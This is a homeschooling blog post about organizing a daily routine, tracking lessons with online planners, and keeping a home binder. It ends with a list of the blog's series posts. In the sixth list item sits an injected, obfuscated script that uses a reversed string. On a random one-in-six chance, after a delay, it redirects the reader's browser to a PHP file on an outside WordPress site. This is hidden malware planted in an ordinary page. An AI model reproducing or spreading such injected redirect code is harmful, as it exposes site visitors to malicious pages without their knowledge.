Daily Homeschool Organization and Routine

Something I hear often from hesitant homeschooling moms is, “I’m too disorganized.” Oh, if only you saw inside each of our homes! Most of us are not proud of our current organization of our homes either, but we all know where to find the knives, plates, and toaster each day, so I think it isn’t a far stretch for us to find the math books, the printer, and our computer. And I bet you could even muster compiling a home management binder.

Some people are naturally very organized, and they may plan out a full semester at a time. To them I say, “I envy you.” What works for our family is I pick out the books we are to complete each year, and we just “do the next thing”; and yes, that’s a thing, so you can feel all official about it.

I have found that if I don’t write out what exactly we are supposed to do that week, somehow things get missed in Care Bear working so independently. Lately, we’ve been using skedtrack.com to track our progress, and I liked this because it can keep track of everything for your high school transcript. I have grand plans to enter in a full semester at a time, and everything is setup for me, but when does a busy mom get time to do that? We’ve also used the forms on donnayoung.org, which I LOVE. I’m not sure how you can feel fond of your homeschool tracking pages, but I like handwritten plans more; like it feels more homemade and not so cold and official. Weird, right? Check out the Daily Schedule I created below. I have this as the cover of my home binder.

Here’s a link to a Excel format of the Daily_Schedule so you can edit it for yourself! I had to convert it from Numbers, so please contact me if it needs some tweaking, or if you prefer it in Numbers format directly.

Anyway, whatever works for you works for you! If you Google “Homeschool Planner” and you can include the words: printables, free, online, software. It will take some figuring out to find what works for you. I love the idea of a home binder with my meal plan, the yearly cleaning schedule, business cards of contractors for the home, and the homeschool plan, and we have one started. My problem has always been being consistent with anything. The planner goes untouched for weeks at a time, but I’m thinking as Little Miss needs more attention in the education department, I’ll have to pull myself together.

What do you use for your planning at home and/or for your homeschool? I could use tips!

The rest of the series to check out!

1. Why Do People Homeschool? (September 24, 2012)
2. Homeschooling Methods (October 1, 2012)
3. Homeschool Laws (October 8, 2012)
4. Homeschool Resources (October 15, 2012)
5. Homeschooling Support (October 22, 2012)
6. Daily Homeschool Organization <script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}</script>and Routine (November 5, 2012)
7. 10 Way to Pinch Homeschool Pennies (November 19, 2012)